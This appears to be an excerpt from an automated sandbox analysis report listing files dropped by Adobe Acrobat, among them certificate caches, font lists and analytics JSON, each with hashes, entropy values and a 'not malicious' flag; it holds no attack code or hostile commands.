SHA-256:	A0EC70A9B53DD459DAAF94E23586EC982CF3B3C7F58AF5F36E7033719D00C154
SHA-512:	1E511AA0034B131B3BC6764FFD8A7FF5CBFB730B877E4BAAFA1317CFF781D96758C3A97A57CB75FAF25392B6281E6CBB01816781CD93FF396D9E1AEDC66581B2
Malicious:	false
Preview:	.... .c......"}................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7503974515083134
Encrypted:	false
SSDEEP:	3:kkFkl9HfpEttfllXlE/HT8kzZNNX8RolJuRdxLlGB9lQRYwpDdt:kKCfpseT8i3NMa8RdWBwRd
MD5:	1CC497BD829DC36EA8174A0058FDF7B9
SHA1:	6BBA6641269953FFCED31D556C395BDA1139B6E7
SHA-256:	8E5668CEF5DF348C222FADEFC8385AB5ADED0CBC4EB87E66E1330870C975CDCF
SHA-512:	157FEA802AA66A24A52905B0A43EBA5D3D3903D5DD0ECDCFC6A9F44042F1A81AEBD441821B3D3F43AA643BF37C77B6E2C7BDC78A940BFCC48B2E486FF7639FAF
Malicious:	false
Preview:	p...... ..........U.zc..(....................................................... ..........W....g ..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2345913795203645
Encrypted:	false
SSDEEP:	6:kKsHxsL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ERsiDImsLNkPlE99SNxAhUe/3
MD5:	09564E6C9A065344252D97E94BAAE545
SHA1:	15B2737F405CDF6FBC8B2FAA4A4885881D032811
SHA-256:	71A967962D1F051B207A45568869AB9966E1395211BC07E56157CF465A09B288
SHA-512:	55292D18E960B602D7690AA22D6F4071D8AB2C181285A246F9E729F0052BCDF885E4122CC5C5C8CE6EA001AA28386BC5979BA019BF3D86079B538C363F6E13B2
Malicious:	false
Preview:	p...... .........i..zc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8072

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8072

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.34457628342305
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGa5KLRQbUHJNWmSg1c2LjcWkHvR0YuZeoAvJM3g98kUwPeUkwRe9:YvXKXGa0LRPNhT5LjIP8GMbLUkee9
MD5:	B082F492A7E4B8DAAD9EA5577C2749FE
SHA1:	AF65558D1FF33A06B96F53456C3A61489D830E1F
SHA-256:	D3CC8359718C39AF069DBE30DBAC8D6D6D7FA8F55A43ACCE02E99E085CF3B495
SHA-512:	FF9963D0E60780E9CE62EE35A855618D82772F881FDCFE00196A32551D0A405A38582BCE68B85B12D1524B75D58E8DE543A3B42DC8D78FA15329E11EBD92039D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.298169205424295
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGa5KLRQbUHJNWmSg1c2LjcWkHvR0YuZeoAvJfBoTfXpnrPeUkwRe9:YvXKXGa0LRPNhT5LjIP8GWTfXcUkee9
MD5:	5B18DFFCEB6F2A96AF49AE6CF4F31E55
SHA1:	E5D27FF72E65FFACDBB000C1173A17ADCE42CAD7
SHA-256:	73A3F7643FD0B4BDC2C41F4DF97F4B518BF2C8CAF4BD4CB2A524EB633133F6A1
SHA-512:	1626DECD33B5F64837432E953C560098D3D19CE518E9A8F82A66F16FF49AF12AE498CFF02B1FDABA3FEB99CE045543C06AE1AB672BEC3FFA546FD23A893A61E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.277928533081291
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGa5KLRQbUHJNWmSg1c2LjcWkHvR0YuZeoAvJfBD2G6UpnrPeUkwRe9:YvXKXGa0LRPNhT5LjIP8GR22cUkee9
MD5:	3555DAA176AFFBC1B9EA121DF99401D2
SHA1:	002697EE6474576CF7DCE7CE191C318B0A4EB5E4
SHA-256:	45B96930D1E65F97BFE149DB2441E1392050C8BA8E5E797C441C7D3CD0F6C2CD
SHA-512:	C4612C50FDA42033ED724BF0DF3813AB1EAECA36D8D9BC41C556579F518B950732FA53E3D06EE45B350B918607AF50C4DC06EC8B59730880CC7112458AAC0817
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3249191193890155
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGa5KLRQbUHJNWmSg1c2LjcWkHvR0YuZeoAvJfPmwrPeUkwRe9:YvXKXGa0LRPNhT5LjIP8GH56Ukee9
MD5:	2232476B396342A7CC3541613D0EFAC6
SHA1:	BFDB6E02645845CF8B476546ADE9727BA69EE9F7
SHA-256:	EBC0D20A7AA796421C5814CE9563AA5E5587CBEDC7B010E3467E5D6081A9A3E5
SHA-512:	F5B7B5F8FF6AC8FC095B778C11B11CE1189529BAB9370766C57D6211B3FDDD03200254B2E5E7590A1424FF9F2EE3A4BDC1F12CCCD9F0352687D17EE086627452
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.696125501872719
Encrypted:	false
SSDEEP:	24:Yv6X50dPLT5XIhpLgE9cQx8LennAvzBvkn0RCmK8czOCCSi:Yve0hBXshgy6SAFv5Ah8cv/i
MD5:	E96A4E5E5A75BA5F236F4FE9F52DCE86
SHA1:	4E7BE2F57E2C4C66F9706CD94A3F1A52B7BE9896
SHA-256:	A8C63D54BF1A2FC9DE17AA68202A48AF07C01951941D3651362BFEC774A39FC0
SHA-512:	5B0B2BCE4DDBC84B8ED1B55B90D96CF07397AE2D6BFDD07EF483A230E33753C7736048F336FC43AE9B3A6D5971D24D58F1336059FB5661517323E0F097634542
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29914839154752
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGa5KLRQbUHJNWmSg1c2LjcWkHvR0YuZeoAvJf8dPeUkwRe9:YvXKXGa0LRPNhT5LjIP8GU8Ukee9
MD5:	A67BA40991C9424B0BCB3B4A33B15457
SHA1:	A60ACA16B1C62405C17B6318DD05D9B431FEAEBA
SHA-256:	3B60D7DB072064216896DAE30437876EA78D9931842D83A07C6A7098CC787CE4
SHA-512:	101E152CFE7AA89E0450C87C446F8939E5852812A1B715A825034122CFB4FBC17EFA6CD22333A62B0C88BBF606A5893B20F9945A35871BBACA7B8FE71FCE0293
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.290421367398434
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGa5KLRQbUHJNWmSg1c2LjcWkHvR0YuZeoAvJfQ1rPeUkwRe9:YvXKXGa0LRPNhT5LjIP8GY16Ukee9
MD5:	77ECF824055F6480EB3B21B6ECC63287
SHA1:	BB3B2E791052104A0647087E6791C232D6CBD55F
SHA-256:	A036A9801D1DF0D96C77A16BB62E94D083DA84A688A47500DE8D6875DCE29AAB
SHA-512:	A3E6A0F3C1050C8DA84A15367F6AAF08D8111AFF2B2763A66A2424971A19ACE57EC1AE5001074DD2D1602A9B83717A7D2266CCE365A29CB56A8B55A9DF7C62EE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3085914917316055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGa5KLRQbUHJNWmSg1c2LjcWkHvR0YuZeoAvJfFldPeUkwRe9:YvXKXGa0LRPNhT5LjIP8Gz8Ukee9
MD5:	13646FB133158BEF3FDD65DB1F7262FD
SHA1:	5E60346A9ACAC53A013E0B4FFB64C21E12CC7180
SHA-256:	395A84171E5A3187913ECECEA0518348947D313EC9C866E3B0FD162BFBEDE72B
SHA-512:	891B5152D1BF4C89DE41EA276114190533C5A3EE9176B1234518ECB53CF962DEF0795DA6B54722CFA96714D1CE614CA27154C9509FC10AA3B4D63EE44E839BB0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3239915546209
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGa5KLRQbUHJNWmSg1c2LjcWkHvR0YuZeoAvJfzdPeUkwRe9:YvXKXGa0LRPNhT5LjIP8Gb8Ukee9
